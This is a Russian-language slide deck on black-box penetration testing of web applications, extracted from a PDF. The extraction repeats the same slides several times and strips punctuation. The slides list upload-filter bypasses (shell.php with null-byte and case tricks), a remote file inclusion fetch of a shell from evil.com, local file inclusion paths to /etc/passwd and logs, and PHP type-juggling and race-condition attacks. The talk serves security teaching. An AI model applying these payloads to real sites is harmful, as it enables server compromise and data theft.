bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 18: Blackbox-тестирование веб-приложений

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 19: Blackbox-тестирование веб-приложений

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 20: Blackbox-тестирование веб-приложений

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

